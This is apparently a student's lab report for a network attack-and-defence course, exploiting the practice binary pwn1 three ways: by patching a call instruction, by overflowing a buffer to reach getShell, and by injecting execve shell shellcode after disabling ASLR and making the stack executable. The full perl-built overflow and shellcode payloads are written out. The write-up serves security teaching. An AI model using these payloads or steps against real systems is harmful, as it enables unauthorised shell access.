20241902 2024-2025-2 《网络攻防实践》第九周作业
1.实践内容
对于Linux可执行文件pwn1,该程序正常执行流程为main调用foo函数,foo函数会回显用户输入的字符串。程序中包含一个名为getShell的代码片段,正常情况下不会被运行,而本次实践的目标是通过三种方法运行该代码片段,并学习如何注入并运行任意Shellcode。
执行getshell的三种方法:1.手工修改可执行文件:通过直接修改机器指令,改变程序执行流程,使程序跳转到getShell函数;2.利用Bof漏洞:构造攻击输入字符串,覆盖返回地址,触发getShell函数;3.注入自己制作的Shellcode并运行。
此外,通过此次实验还可以掌握NOP、JNE、JE、JMP、CMP等汇编指令的机器码、学会使用反汇编工具和十六进制编程器、能够正确修改机器指令以改变程序执行流程以及能够构造payload进行Bof攻击。
2.实践过程
实验一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
输入命令hostname sqy
修改虚拟机主机名为sqy:
修改pwn1文件名为pwn1_20241902,并输入命令objdump -d pwn1_20241902 | more
查看其信息,一直回车到main等函数:
可见此时main函数会调用foo函数(8048491),所以想要调用getshell函数,只需将其修改为804847d即可。输入命令vim pwn1_20241902
,对该文件进行编辑:
输入命令:%!xxd
,将其格式改为16进制,并找到上述函数调用位置:
将d7改为c3,输入命令:%!xxd -r
,转换为原格式,保存并退出:
再次输入命令objdump -d pwn1_20241902 | more
查看其信息,一直回车到main等函数,可见此时main函数调用getshell:
分别对未修改文件和已修改文件运行,可见修改后成功执行getshell,获取系统权限:
实验二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
输入命令objdump -d pwn1_20241902 | more
查看函数详细信息,发现缓冲区为28字节(0x1C),可利用此构造长字符串进行缓冲区溢出攻击,使溢出值正好为getshell函数的起始地址804847d:
由于不能直接将二进制数据作为程序的输入,故利用perl构造输入的十六进制长字符串文件,使其重定向到程序以输入数据,长字符串输入后造成缓冲区溢出到getshell的起始地址,输入命令perl --version
可见kali已预装perl:
由于不清楚程序存储是小端序还是大端序,故构造了两个输入文件分别测试:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 20241902_1
perl -e 'print "11111111222222223333333344444444\x08\x04\x84\x7d"' > 20241902_2
使用命令(cat 20241902_1;cat) | ./pwn1_20241902
和(cat 20241902_2;cat) | ./pwn1_20241902
将上述两个文件分别作为程序的输入并执行:
可见输入文件1(小端序)成功运行getshell,获得系统控制权。
实验三:注入一个自己制作的shellcode并运行这段shellcode
为了设置栈的状态,需要安装execstack,输入命令apt-get install execstack
进行安装,发现报错,更新源后成功安装:
输入命令execstack -s pwn1_20241902
设置堆栈的可执行状态并execstack -q pwn1_20241902
查看是否设置成功:
输入命令more /proc/sys/kernel/randomize_va_space
查看地址随机化的状态,发现开启则输入命令echo "0" > /proc/sys/kernel/randomize_va_space
关闭:
实验二中验证程序存储为小端序,为了找到shellcode的首地址,利用perl构造如下指令:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20241902_3
输入命令(cat 20241902_3;cat) | ./pwn1_20241902
,然后打开新的终端,输入命令ps -ef | grep pwn1_20241902
找到pwn1程序的进程号:
使用gdb(需要安装),输入命令attach 11702
调试该进程:
输入命令disassemble foo
对foo函数反编译,并break *0x080484ae
设置断点:
在第一个terminal按回车,在第二个terminal输入c
,输入命令info r esp
查看栈顶的地址esp,可见为0xffffcf8c:
输入命令x/16x 0xffffcf8c
查看存放内容,可见构造的0x01020304:
计算ffffcf8c+00000004,并重新构造shellcode,即将\x4\x3\x2\x1
改为\x90\xcf\xff\xff
,新的shellcode利用perl生成输入文件,命令为:
perl -e 'print "A" x 32;print "\x90\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20241902_3
输入命令(cat 20241902_3;cat) | ./pwn1_20241902
,运行pwn1_20241902,可见成功执行shellcode,获得系统权限:
3.学习中遇到的问题及解决
- 问题1:无法运行pwn1和pwn1_20241902
- 问题1解决方案:参考下述文献,原因是用户没有执行权限,运行命令
chmod u+x pwn1/pwn1_20241902
即可添加对文件的可执行权限
4.实践总结
通过本次实验,掌握了如何修改可执行文件,通过修改机器指令,改变程序执行流程,使其直接跳转到目标函数getShell,以更好的理解程序执行流程的底层原理。其次,学习了利用foo函数的Bof漏洞,构造攻击字符串覆盖返回地址,触发目标函数,此外,还掌握了注入并运行自己制作的shellcode的方法。同时,同时通过此次实验,初步掌握了NOP、JNE、JE、JMP、CMP等汇编指令的机器码,以及反汇编与十六进制编程器的使用,为后续学习和研究奠定基础。